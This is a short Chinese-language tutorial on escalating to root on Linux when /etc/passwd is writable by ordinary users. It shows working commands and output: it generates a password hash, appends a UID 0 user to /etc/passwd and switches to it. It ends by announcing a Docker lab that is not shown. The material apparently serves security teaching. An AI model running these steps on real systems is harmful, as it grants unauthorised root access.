概述
在Linux环境下,某些系统文件只应该允许拥有root权限的用户进行修改,当由于不正确的设置使得这些文件对普通用户可写时,那么普通用户就可以通过修改这些文件而进行提权。
示例
/etc/passwd文件包含当前系统中所有用户的基本信息,当用户可以修改该文件时,通过以下步骤可以提权。
首先选择一个密码(例如superman),并对其加密
test@68250f8b1d1d:~$ openssl passwd superman
$1$u1UR7D3z$Zp7IvFndtV5XH/tYozXi6.
然后在/etc/passwd文件中添加一个具有root权限的新用户(例如root2), 并使用以上生成的加密密码
test@68250f8b1d1d:~$ echo 'root2:$1$u1UR7D3z$Zp7IvFndtV5XH/tYozXi6.:0:0:root:/root:/bin/sh' >> /etc/passwd
test@68250f8b1d1d:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
test:x:1000:1000::/home/test:/bin/bash
root2:$1$u1UR7D3z$Zp7IvFndtV5XH/tYozXi6.:0:0:root:/root:/bin/sh
test@68250f8b1d1d:~$
随之使用su成为root2用户并输入已知的密码,以获得root权限
test@68250f8b1d1d:~$ su root2
Password:
# id
uid=0(root) gid=0(root) groups=0(root)
实战
下面的Dockerfile提供了一个基于Ubuntu的试验环境,可用于复现以上的提权过程。